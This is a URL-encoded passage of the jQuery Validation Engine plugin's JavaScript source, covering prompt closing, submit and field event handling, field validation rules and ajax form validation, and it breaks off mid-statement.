%0A%09%09%09%20var%20closingtag%3B%0A%09%09%09%20%0A%09%09%09%20if%28%24%28this%29.is%28%22form%22%29%20%7C%7C%20%24%28this%29.hasClass%28%22validationEngineContainer%22%29%29%20%7B%0A%09%09%09%09%20closingtag%20%3D%20%22parentForm%22+methods._getClassName%28%24%28this%29.attr%28%22id%22%29%29%3B%0A%09%09%09%20%7D%20else%20%7B%0A%09%09%09%09%20closingtag%20%3D%20methods._getClassName%28%24%28this%29.attr%28%22id%22%29%29%20+%22formError%22%3B%0A%09%09%09%20%7D%0A%09%09%09%20%24%28%27.%27+closingtag%29.fadeTo%28fadeDuration%2C%200.3%2C%20function%28%29%20%7B%0A%09%09%09%09%20%24%28this%29.parent%28%27.formErrorOuter%27%29.remove%28%29%3B%0A%09%09%09%09%20%24%28this%29.remove%28%29%3B%0A%09%09%09%20%7D%29%3B%0A%09%09%09%20return%20this%3B%0A%09%09%20%7D%2C%0A%09%09%20/**%0A%09%09%20*%20Closes%20all%20error%20prompts%20on%20the%20page%0A%09%09%20*/%0A%09%09%20hideAll%3A%20function%28%29%20%7B%0A%0A%09%09%09%20var%20form%20%3D%20this%3B%0A%09%09%09%20var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%09%09%09%20var%20duration%20%3D%20options%20%3F%20options.fadeDuration%3A300%3B%0A%09%09%09%20%24%28%27.formError%27%29.fadeTo%28duration%2C%20300%2C%20function%28%29%20%7B%0A%09%09%09%09%20%24%28this%29.parent%28%27.formErrorOuter%27%29.remove%28%29%3B%0A%09%09%09%09%20%24%28this%29.remove%28%29%3B%0A%09%09%09%20%7D%29%3B%0A%09%09%09%20return%20this%3B%0A%09%09%20%7D%2C%0A%09%09/**%0A%09%09*%20Typically%20called%20when%20user%20exists%20a%20field%20using%20tab%20or%20a%20mouse%20click%2C%20triggers%20a%20field%0A%09%09*%20validation%0A%09%09*/%0A%09%09_onFieldEvent%3A%20function%28event%29%20%7B%0A%09%09%09var%20field%20%3D%20%24%28this%29%3B%0A%09%09%09var%20form%20%3D%20field.closest%28%27form%2C%20.validationEngineContainer%27%29%3B%0A%09%09%09var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%09%09%09options.eventTrigger%20%3D%20%22field%22%3B%0A%09%09%09//%20validate%20the%20current%20field%0A%09%09%09window.setTimeout%28function%28%29%20%7B%0A%09%09%09%09methods._validateField%28field%2C%20options%29%3B%0A%09%09%09%09if%20%28options.InvalidFields.length%20%3D%3D%200%20%26%26%20options.onFieldSuccess%29%20%7B%0A%09%09%09%09%09options.onFieldSuccess%28%29%3B%0A%09%09%09%09%7D%20else%20if%20%28options.InvalidFields.length%20%3E%200%20%26%26%20options.onFieldFailure%29%20%7B%0A%09%09%09%09%09options.onFieldFailure%28%29%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%2C%20%28event.data%29%20%3F%20event.data.delay%20%3A%200%29%3B%0A%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Called%20when%20the%20form%20is%20submited%2C%20shows%20prompts%20accordingly%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20form%0A%09%09*%20@return%20false%20if%20form%20submission%20needs%20to%20be%20cancelled%0A%09%09*/%0A%09%09_onSubmitEvent%3A%20function%28%29%20%7B%0A%09%09%09var%20form%20%3D%20%24%28this%29%3B%0A%09%09%09var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%09%09%09%0A%09%09%09//check%20if%20it%20is%20trigger%20from%20skipped%20button%0A%09%09%09if%20%28form.data%28%22jqv_submitButton%22%29%29%7B%0A%09%09%09%09var%20submitButton%20%3D%20%24%28%22%23%22%20+%20form.data%28%22jqv_submitButton%22%29%29%3B%0A%09%09%09%09if%20%28submitButton%29%7B%0A%09%09%09%09%09if%20%28submitButton.length%20%3E%200%29%7B%0A%09%09%09%09%09%09if%20%28submitButton.hasClass%28%22validate-skip%22%29%20%7C%7C%20submitButton.attr%28%22data-validation-engine-skip%22%29%20%3D%3D%20%22true%22%29%0A%09%09%09%09%09%09%09return%20true%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%7D%0A%09%09%09%7D%0A%0A%09%09%09options.eventTrigger%20%3D%20%22submit%22%3B%0A%0A%09%09%09//%20validate%20each%20field%20%0A%09%09%09//%20%28-%20skip%20field%20ajax%20validation%2C%20not%20necessary%20IF%20we%20will%20perform%20an%20ajax%20form%20validation%29%0A%09%09%09var%20r%3Dmethods._validateFields%28form%29%3B%0A%0A%09%09%09if%20%28r%20%26%26%20options.ajaxFormValidation%29%20%7B%0A%09%09%09%09methods._validateFormWithAjax%28form%2C%20options%29%3B%0A%09%09%09%09//%20cancel%20form%20auto-submission%20-%20process%20with%20async%20call%20onAjaxFormComplete%0A%09%09%09%09return%20false%3B%0A%09%09%09%7D%0A%0A%09%09%09if%28options.onValidationComplete%29%20%7B%0A%09%09%09%09//%20%21%21%20ensures%20that%20an%20undefined%20return%20is%20interpreted%20as%20return%20false%20but%20allows%20a%20onValidationComplete%28%29%20to%20possibly%20return%20true%20and%20have%20form%20continue%20processing%0A%09%09%09%09return%20%21%21options.onValidationComplete%28form%2C%20r%29%3B%0A%09%09%09%7D%0A%09%09%09return%20r%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Return%20true%20if%20the%20ajax%20field%20validations%20passed%20so%20far%0A%09%09*%20@param%20%7BObject%7D%20options%0A%09%09*%20@return%20true%2C%20is%20all%20ajax%20validation%20passed%20so%20far%20%28remember%20ajax%20is%20async%29%0A%09%09*/%0A%09%09_checkAjaxStatus%3A%20function%28options%29%20%7B%0A%09%09%09var%20status%20%3D%20true%3B%0A%09%09%09%24.each%28options.ajaxValidCache%2C%20function%28key%2C%20value%29%20%7B%0A%09%09%09%09if%20%28%21value%29%20%7B%0A%09%09%09%09%09status%20%3D%20false%3B%0A%09%09%09%09%09//%20break%20the%20each%0A%09%09%09%09%09return%20false%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%29%3B%0A%09%09%09return%20status%3B%0A%09%09%7D%2C%0A%09%09%0A%09%09/**%0A%09%09*%20Return%20true%20if%20the%20ajax%20field%20is%20validated%0A%09%09*%20@param%20%7BString%7D%20fieldid%0A%09%09*%20@param%20%7BObject%7D%20options%0A%09%09*%20@return%20true%2C%20if%20validation%20passed%2C%20false%20if%20false%20or%20doesn%27t%20exist%0A%09%09*/%0A%09%09_checkAjaxFieldStatus%3A%20function%28fieldid%2C%20options%29%20%7B%0A%09%09%09return%20options.ajaxValidCache%5Bfieldid%5D%20%3D%3D%20true%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Validates%20form%20fields%2C%20shows%20prompts%20accordingly%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20form%0A%09%09*%20@param%20%7BskipAjaxFieldValidation%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20boolean%20-%20when%20set%20to%20true%2C%20ajax%20field%20validation%20is%20skipped%2C%20typically%20used%20when%20the%20submit%20button%20is%20clicked%0A%09%09*%0A%09%09*%20@return%20true%20if%20form%20is%20valid%2C%20false%20if%20not%2C%20undefined%20if%20ajax%20form%20validation%20is%20done%0A%09%09*/%0A%09%09_validateFields%3A%20function%28form%29%20%7B%0A%09%09%09var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%0A%09%09%09//%20this%20variable%20is%20set%20to%20true%20if%20an%20error%20is%20found%0A%09%09%09var%20errorFound%20%3D%20false%3B%0A%0A%09%09%09//%20Trigger%20hook%2C%20start%20validation%0A%09%09%09form.trigger%28%22jqv.form.validating%22%29%3B%0A%09%09%09//%20first%2C%20evaluate%20status%20of%20non%20ajax%20fields%0A%09%09%09var%20first_err%3Dnull%3B%0A%09%09%09form.find%28%27%5B%27+options.validateAttribute+%27*%3Dvalidate%5D%27%29.not%28%22%3Adisabled%22%29.each%28%20function%28%29%20%7B%0A%09%09%09%09var%20field%20%3D%20%24%28this%29%3B%0A%09%09%09%09var%20names%20%3D%20%5B%5D%3B%0A%09%09%09%09if%20%28%24.inArray%28field.attr%28%27name%27%29%2C%20names%29%20%3C%200%29%20%7B%0A%09%09%09%09%09errorFound%20%7C%3D%20methods._validateField%28field%2C%20options%29%3B%0A%09%09%09%09%09if%20%28errorFound%20%26%26%20first_err%3D%3Dnull%29%0A%09%09%09%09%09%09if%20%28field.is%28%22%3Ahidden%22%29%20%26%26%20options.prettySelect%29%0A%09%09%09%09%09%09%09first_err%20%3D%20field%20%3D%20form.find%28%22%23%22%20+%20options.usePrefix%20+%20methods._jqSelector%28field.attr%28%27id%27%29%29%20+%20options.useSuffix%29%3B%0A%09%09%09%09%09%09else%20%7B%0A%0A%09%09%09%09%09%09%09//Check%20if%20we%20need%20to%20adjust%20what%20element%20to%20show%20the%20prompt%20on%0A%09%09%09%09%09%09%09//and%20and%20such%20scroll%20to%20instead%0A%09%09%09%09%09%09%09if%28field.data%28%27jqv-prompt-at%27%29%20instanceof%20jQuery%20%29%7B%0A%09%09%09%09%09%09%09%09field%20%3D%20field.data%28%27jqv-prompt-at%27%29%3B%0A%09%09%09%09%09%09%09%7D%20else%20if%28field.data%28%27jqv-prompt-at%27%29%29%20%7B%0A%09%09%09%09%09%09%09%09field%20%3D%20%24%28field.data%28%27jqv-prompt-at%27%29%29%3B%0A%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09first_err%3Dfield%3B%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09if%20%28options.doNotShowAllErrosOnSubmit%29%0A%09%09%09%09%09%09return%20false%3B%0A%09%09%09%09%09names.push%28field.attr%28%27name%27%29%29%3B%0A%0A%09%09%09%09%09//if%20option%20set%2C%20stop%20checking%20validation%20rules%20after%20one%20error%20is%20found%0A%09%09%09%09%09if%28options.showOneMessage%20%3D%3D%20true%20%26%26%20errorFound%29%7B%0A%09%09%09%09%09%09return%20false%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%7D%0A%09%09%09%7D%29%3B%0A%0A%09%09%09//%20second%2C%20check%20to%20see%20if%20all%20ajax%20calls%20completed%20ok%0A%09%09%09//%20errorFound%20%7C%3D%20%21methods._checkAjaxStatus%28options%29%3B%0A%0A%09%09%09//%20third%2C%20check%20status%20and%20scroll%20the%20container%20accordingly%0A%09%09%09form.trigger%28%22jqv.form.result%22%2C%20%5BerrorFound%5D%29%3B%0A%0A%09%09%09if%20%28errorFound%29%20%7B%0A%09%09%09%09if%20%28options.scroll%29%20%7B%0A%09%09%09%09%09var%20destination%3Dfirst_err.offset%28%29.top%3B%0A%09%09%09%09%09var%20fixleft%20%3D%20first_err.offset%28%29.left%3B%0A%0A%09%09%09%09%09//prompt%20positioning%20adjustment%20support.%20Usage%3A%20positionType%3AXshift%2CYshift%20%28for%20ex.%3A%20bottomLeft%3A+20%20or%20bottomLeft%3A-20%2C+10%29%0A%09%09%09%09%09var%20positionType%3Doptions.promptPosition%3B%0A%09%09%09%09%09if%20%28typeof%28positionType%29%3D%3D%27string%27%20%26%26%20positionType.indexOf%28%22%3A%22%29%21%3D-1%29%0A%09%09%09%09%09%09positionType%3DpositionType.substring%280%2CpositionType.indexOf%28%22%3A%22%29%29%3B%0A%0A%09%09%09%09%09if%20%28positionType%21%3D%22bottomRight%22%20%26%26%20positionType%21%3D%22bottomLeft%22%29%20%7B%0A%09%09%09%09%09%09var%20prompt_err%3D%20methods._getPrompt%28first_err%29%3B%0A%09%09%09%09%09%09if%20%28prompt_err%29%20%7B%0A%09%09%09%09%09%09%09destination%3Dprompt_err.offset%28%29.top%3B%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%7D%0A%09%09%09%09%09%0A%09%09%09%09%09//%20Offset%20the%20amount%20the%20page%20scrolls%20by%20an%20amount%20in%20px%20to%20accomodate%20fixed%20elements%20at%20top%20of%20page%0A%09%09%09%09%09if%20%28options.scrollOffset%29%20%7B%0A%09%09%09%09%09%09destination%20-%3D%20options.scrollOffset%3B%0A%09%09%09%09%09%7D%0A%0A%09%09%09%09%09//%20get%20the%20position%20of%20the%20first%20error%2C%20there%20should%20be%20at%20least%20one%2C%20no%20need%20to%20check%20this%0A%09%09%09%09%09//var%20destination%20%3D%20form.find%28%22.formError%3Anot%28%27.greenPopup%27%29%3Afirst%22%29.offset%28%29.top%3B%0A%09%09%09%09%09if%20%28options.isOverflown%29%20%7B%0A%09%09%09%09%09%09var%20overflowDIV%20%3D%20%24%28options.overflownDIV%29%3B%0A%09%09%09%09%09%09if%28%21overflowDIV.length%29%20return%20false%3B%0A%09%09%09%09%09%09var%20scrollContainerScroll%20%3D%20overflowDIV.scrollTop%28%29%3B%0A%09%09%09%09%09%09var%20scrollContainerPos%20%3D%20-parseInt%28overflowDIV.offset%28%29.top%29%3B%0A%0A%09%09%09%09%09%09destination%20+%3D%20scrollContainerScroll%20+%20scrollContainerPos%20-%205%3B%0A%09%09%09%09%09%09var%20scrollContainer%20%3D%20%24%28options.overflownDIV%20+%20%22%3Anot%28%3Aanimated%29%22%29%3B%0A%0A%09%09%09%09%09%09scrollContainer.animate%28%7B%20scrollTop%3A%20destination%20%7D%2C%201100%2C%20function%28%29%7B%0A%09%09%09%09%09%09%09if%28options.focusFirstField%29%20first_err.focus%28%29%3B%0A%09%09%09%09%09%09%7D%29%3B%0A%0A%09%09%09%09%09%7D%20else%20%7B%0A%09%09%09%09%09%09%24%28%22html%2C%20body%22%29.animate%28%7B%0A%09%09%09%09%09%09%09scrollTop%3A%20destination%0A%09%09%09%09%09%09%7D%2C%201100%2C%20function%28%29%7B%0A%09%09%09%09%09%09%09if%28options.focusFirstField%29%20first_err.focus%28%29%3B%0A%09%09%09%09%09%09%7D%29%3B%0A%09%09%09%09%09%09%24%28%22html%2C%20body%22%29.animate%28%7BscrollLeft%3A%20fixleft%7D%2C1100%29%0A%09%09%09%09%09%7D%0A%0A%09%09%09%09%7D%20else%20if%28options.focusFirstField%29%0A%09%09%09%09%09first_err.focus%28%29%3B%0A%09%09%09%09return%20false%3B%0A%09%09%09%7D%0A%09%09%09return%20true%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20This%20method%20is%20called%20to%20perform%20an%20ajax%20form%20validation.%0A%09%09*%20During%20this%20process%20all%20the%20%28field%2C%20value%29%20pairs%20are%20sent%20to%20the%20server%20which%20returns%20a%20list%20of%20invalid%20fields%20or%20true%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20form%0A%09%09*%20@param%20%7BMap%7D%20options%0A%09%09*/%0A%09%09_validateFormWithAjax%3A%20function%28form%2C%20options%29%20%7B%0A%0A%09%09%09var%20data%20%3D%20form.serialize%28%29%3B%0A%09%09%09%09%09%09%09%09%09var%20type%20%3D%20%28options.ajaxFormValidationMethod%29%20%3F%20options.ajaxFormValidationMethod%20%3A%20%22GET%22%3B%0A%09%09%09var%20url%20%3D%20%28options.ajaxFormValidationURL%29%20%3F%20options.ajaxFormValidationURL%20%3A%20form.attr%28%22action%22%29%3B%0A%09%09%09%09%09%09%09%09%09var%20dataType%20%3D%20%28options.dataType%29%20%3F%20options.dataType%20%3A%20%22json%22%3B%0A%09%09%09%24.ajax%28%7B%0A%09%09%09%09type%3A%20type%2C%0A%09%09%09%09url%3A%20url%2C%0A%09%09%09%09cache%3A%20false%2C%0A%09%09%09%09dataType%3A%20dataType%2C%0A%09%09%09%09data%3A%20data%2C%0A%09%09%09%09form%3A%20form%2C%0A%09%09%09%09methods%3A%20methods%2C%0A%09%09%09%09options%3A%20options%2C%0A%09%09%09%09beforeSend%3A%20function%28%29%20%7B%0A%09%09%09%09%09return%20options.onBeforeAjaxFormValidation%28form%2C%20options%29%3B%0A%09%09%09%09%7D%2C%0A%09%09%09%09error%3A%20function%28data%2C%20transport%29%20%7B%0A%09%09%09%09%09methods._ajaxError%28data%2C%20transport%29%3B%0A%09%09%09%09%7D%2C%0A%09%09%09%09success%3A%20function%28json%29%20%7B%0A%09%09%09%09%09if%20%28%28dataType%20%3D%3D%20%22json%22%29%20%26%26%20%28json%20%21%3D%3D%20true%29%29%20%7B%0A%09%09%09%09%09%09//%20getting%20to%20this%20case%20doesn%27t%20necessary%20means%20that%20the%20form%20is%20invalid%0A%09%09%09%09%09%09//%20the%20server%20may%20return%20green%20or%20closing%20prompt%20actions%0A%09%09%09%09%09%09//%20this%20flag%20helps%20figuring%20it%20out%0A%09%09%09%09%09%09var%20errorInForm%3Dfalse%3B%0A%09%09%09%09%09%09for%20%28var%20i%20%3D%200%3B%20i%20%3C%20json.length%3B%20i++%29%20%7B%0A%09%09%09%09%09%09%09var%20value%20%3D%20json%5Bi%5D%3B%0A%0A%09%09%09%09%09%09%09var%20errorFieldId%20%3D%20value%5B0%5D%3B%0A%09%09%09%09%09%09%09var%20errorField%20%3D%20%24%28%24%28%22%23%22%20+%20errorFieldId%29%5B0%5D%29%3B%0A%0A%09%09%09%09%09%09%09//%20make%20sure%20we%20found%20the%20element%0A%09%09%09%09%09%09%09if%20%28errorField.length%20%3D%3D%201%29%20%7B%0A%0A%09%09%09%09%09%09%09%09//%20promptText%20or%20selector%0A%09%09%09%09%09%09%09%09var%20msg%20%3D%20value%5B2%5D%3B%0A%09%09%09%09%09%09%09%09//%20if%20the%20field%20is%20valid%0A%09%09%09%09%09%09%09%09if%20%28value%5B1%5D%20%3D%3D%20true%29%20%7B%0A%0A%09%09%09%09%09%09%09%09%09if%20%28msg%20%3D%3D%20%22%22%20%20%7C%7C%20%21msg%29%7B%0A%09%09%09%09%09%09%09%09%09%09//%20if%20for%20some%20reason%2C%20status%3D%3Dtrue%20and%20error%3D%22%22%2C%20just%20close%20the%20prompt%0A%09%09%09%09%09%09%09%09%09%09methods._closePrompt%28errorField%29%3B%0A%09%09%09%09%09%09%09%09%09%7D%20else%20%7B%0A%09%09%09%09%09%09%09%09%09%09//%20the%20field%20is%20valid%2C%20but%20we%20are%20displaying%20a%20green%20prompt%0A%09%09%09%09%09%09%09%09%09%09if%20%28options.allrules%5Bmsg%5D%29%20%7B%0A%09%09%09%09%09%09%09%09%09%09%09var%20txt%20%3D%20options.allrules%5Bmsg%5D.alertTextOk%3B%0A%09%09%09%09%09%09%09%09%09%09%09if%20%28txt%29%0A%09%09%09%09%09%09%09%09%09%09%09%09msg%20%3D%20txt%3B%0A%09%09%09%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09%09%09%09if%20%28options.showPrompts%29%20methods._showPrompt%28errorField%2C%20msg%2C%20%22pass%22%2C%20false%2C%20options%2C%20true%29%3B%0A%09%09%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09%09%7D%20else%20%7B%0A%09%09%09%09%09%09%09%09%09//%20the%20field%20is%20invalid%2C%20show%20the%20red%20error%20prompt%0A%09%09%09%09%09%09%09%09%09errorInForm%7C%3Dtrue%3B%0A%09%09%09%09%09%09%09%09%09if%20%28options.allrules%5Bmsg%5D%29%20%7B%0A%09%09%09%09%09%09%09%09%09%09var%20txt%20%3D%20options.allrules%5Bmsg%5D.alertText%3B%0A%09%09%09%09%09%09%09%09%09%09if%20%28txt%29%0A%09%09%09%09%09%09%09%09%09%09%09msg%20%3D%20txt%3B%0A%09%09%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09%09%09if%28options.showPrompts%29%20methods._showPrompt%28errorField%2C%20msg%2C%20%22%22%2C%20false%2C%20options%2C%20true%29%3B%0A%09%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09options.onAjaxFormComplete%28%21errorInForm%2C%20form%2C%20json%2C%20options%29%3B%0A%09%09%09%09%09%7D%20else%0A%09%09%09%09%09%09options.onAjaxFormComplete%28true%2C%20form%2C%20json%2C%20options%29%3B%0A%0A%09%09%09%09%7D%0A%09%09%09%7D%29%3B%0A%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Validates%20field%2C%20shows%20prompts%20accordingly%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20field%27s%20validation%20rules%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20false%20if%20field%20is%20valid%20%28It%20is%20inversed%20for%20*fields*%2C%20it%20return%20false%20on%20validate%20and%20true%20on%20errors.%29%0A%09%09*/%0A%09%09_validateField%3A%20function%28field%2C%20options%2C%20skipAjaxValidation%29%20%7B%0A%09%09%09if%20%28%21field.attr%28%22id%22%29%29%20%7B%0A%09%09%09%09field.attr%28%22id%22%2C%20%22form-validation-field-%22%20+%20%24.validationEngine.fieldIdCounter%29%3B%0A%09%09%09%09++%24.validationEngine.fieldIdCounter%3B%0A%09%09%09%7D%0A%0A%20%20%20%20%20%20%20%20%20%20%20if%20%28%21options.validateNonVisibleFields%20%26%26%20%28field.is%28%22%3Ahidden%22%29%20%26%26%20%21options.prettySelect%20%7C%7C%20field.parent%28%29.is%28%22%3Ahidden%22%29%29%29%0A%09%09%09%09return%20false%3B%0A%0A%09%09%09var%20rulesParsing%20%3D%20field.attr%28options.validateAttribute%29%3B%0A%09%09%09var%20getRules%20%3D%20/validate%5C%5B%28.*%29%5C%5D/.exec%28rulesParsing%29%3B%0A%0A%09%09%09if%20%28%21getRules%29%0A%09%09%09%09return%20false%3B%0A%09%09%09var%20str%20%3D%20getRules%5B1%5D%3B%0A%09%09%09var%20rules%20%3D%20str.split%28/%5C%5B%7C%2C%7C%5C%5D/%29%3B%0A%0A%09%09%09//%20true%20if%20we%20ran%20the%20ajax%20validation%2C%20tells%20the%20logic%20to%20stop%20messing%20with%20prompts%0A%09%09%09var%20isAjaxValidator%20%3D%20false%3B%0A%09%09%09var%20fieldName%20%3D%20field.attr%28%22name%22%29%3B%0A%09%09%09var%20promptText%20%3D%20%22%22%3B%0A%09%09%09var%20promptType%20%3D%20%22%22%3B%0A%09%09%09var%20required%20%3D%20false%3B%0A%09%09%09var%20limitErrors%20%3D%20false%3B%0A%09%09%09options.isError%20%3D%20false%3B%0A%09%09%09options.showArrow%20%3D%20true%3B%0A%09%09%09%0A%09%09%09//%20If%20the%20programmer%20wants%20to%20limit%20the%20amount%20of%20error%20messages%20per%20field%2C%0A%09%09%09if%20%28options.maxErrorsPerField%20%3E%200%29%20%7B%0A%09%09%09%09limitErrors%20%3D%20true%3B%0A%09%09%09%7D%0A%0A%09%09%09var%20form%20%3D%20%24%28field.closest%28%22form%2C%20.validationEngineContainer%22%29%29%3B%0A%09%09%09//%20Fix%20for%20adding%20spaces%20in%20the%20rules%0A%09%09%09for%20%28var%20i%20%3D%200%3B%20i%20%3C%20rules.length%3B%20i++%29%20%7B%0A%09%09%09%09rules%5Bi%5D%20%3D%20rules%5Bi%5D.replace%28%22%20%22%2C%20%22%22%29%3B%0A%09%09%09%09//%20Remove%20any%20parsing%20errors%0A%09%09%09%09if%20%28rules%5Bi%5D%20%3D%3D%3D%20%27%27%29%20%7B%0A%09%09%09%09%09delete%20rules%5Bi%5D%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%0A%0A%09%09%09for%20%28var%20i%20%3D%200%2C%20field_errors%20%3D%200%3B%20i%20%3C%20rules.length%3B%20i++%29%20%7B%0A%09%09%09%09%0A%09%09%09%09//%20If%20we%20are%20limiting%20errors%2C%20and%20have%20hit%20the%20max%2C%20break%0A%09%09%09%09if%20%28limitErrors%20%26%26%20field_errors%20%3E%3D%20options.maxErrorsPerField%29%20%7B%0A%09%09%09%09%09//%20If%20we%20haven%27t%20hit%20a%20required%20yet%2C%20check%20to%20see%20if%20there%20is%20one%20in%20the%20validation%20rules%20for%20this%0A%09%09%09%09%09//%20field%20and%20that%20it%27s%20index%20is%20greater%20or%20equal%20to%20our%20current%20index%0A%09%09%09%09%09if%20%28%21required%29%20%7B%0A%09%09%09%09%09%09var%20have_required%20%3D%20%24.inArray%28%27required%27%2C%20rules%29%3B%0A%09%09%09%09%09%09required%20%3D%20%28have_required%20%21%3D%20-1%20%26%26%20%20have_required%20%3E%3D%20i%29%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%09break%3B%0A%09%09%09%09%7D%0A%09%09%09%09%0A%09%09%09%09%0A%09%09%09%09var%20errorMsg%20%3D%20undefined%3B%0A%09%09%09%09switch%20%28rules%5Bi%5D%29%20%7B%0A%0A%09%09%09%09%09case%20%22required%22%3A%0A%09%09%09%09%09%09required%20%3D%20true%3B%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._required%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22custom%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._custom%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22groupRequired%22%3A%0A%09%09%09%09%09%09//%20Check%20is%20its%20the%20first%20of%20group%2C%20if%20not%2C%20reload%20validation%20with%20first%20field%0A%09%09%09%09%09%09//%20AND%20continue%20normal%20validation%20on%20present%20field%0A%09%09%09%09%09%09var%20classGroup%20%3D%20%22%5B%22+options.validateAttribute+%22*%3D%22%20+rules%5Bi%20+%201%5D%20+%22%5D%22%3B%0A%09%09%09%09%09%09var%20firstOfGroup%20%3D%20form.find%28classGroup%29.eq%280%29%3B%0A%09%09%09%09%09%09if%28firstOfGroup%5B0%5D%20%21%3D%20field%5B0%5D%29%7B%0A%0A%09%09%09%09%09%09%09methods._validateField%28firstOfGroup%2C%20options%2C%20skipAjaxValidation%29%3B%20%0A%09%09%09%09%09%09%09options.showArrow%20%3D%20true%3B%0A%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._groupRequired%29%3B%0A%09%09%09%09%09%09if%28errorMsg%29%20%20required%20%3D%20true%3B%0A%09%09%09%09%09%09options.showArrow%20%3D%20false%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22ajax%22%3A%0A%09%09%09%09%09%09//%20AJAX%20defaults%20to%20returning%20it%27s%20loading%20message%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._ajax%28field%2C%20rules%2C%20i%2C%20options%29%3B%0A%09%09%09%09%09%09if%20%28errorMsg%29%20%7B%0A%09%09%09%09%09%09%09promptType%20%3D%20%22load%22%3B%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22minSize%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._minSize%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22maxSize%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._maxSize%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22min%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._min%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22max%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._max%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22past%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2Crules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._past%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22future%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2Crules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._future%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22dateRange%22%3A%0A%09%09%09%09%09%09var%20classGroup%20%3D%20%22%5B%22+options.validateAttribute+%22*%3D%22%20+%20rules%5Bi%20+%201%5D%20+%20%22%5D%22%3B%0A%09%09%09%09%09%09options.firstOfGroup%20%3D%20form.find%28classGroup%29.eq%280%29%3B%0A%09%09%09%09%09%09options.secondOfGroup%20%3D%20form.find%28classGroup%29.eq%281%29%3B%0A%0A%09%09%09%09%09%09//if%20one%20entry%20out%20of%20the%20pair%20has%20value%20then%20proceed%20to%20run%20through%20validation%0A%09%09%09%09%09%09if%20%28options.firstOfGroup%5B0%5D.value%20%7C%7C%20options.secondOfGroup%5B0%5D.value%29%20%7B%0A%09%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2Crules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._dateRange%29%3B%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09if%20%28errorMsg%29%20required%20%3D%20true%3B%0A%09%09%09%09%09%09options.showArrow%20%3D%20false%3B%0A%09%09%09%09%09%09break%3B%0A%0A%09%09%09%09%09case%20%22dat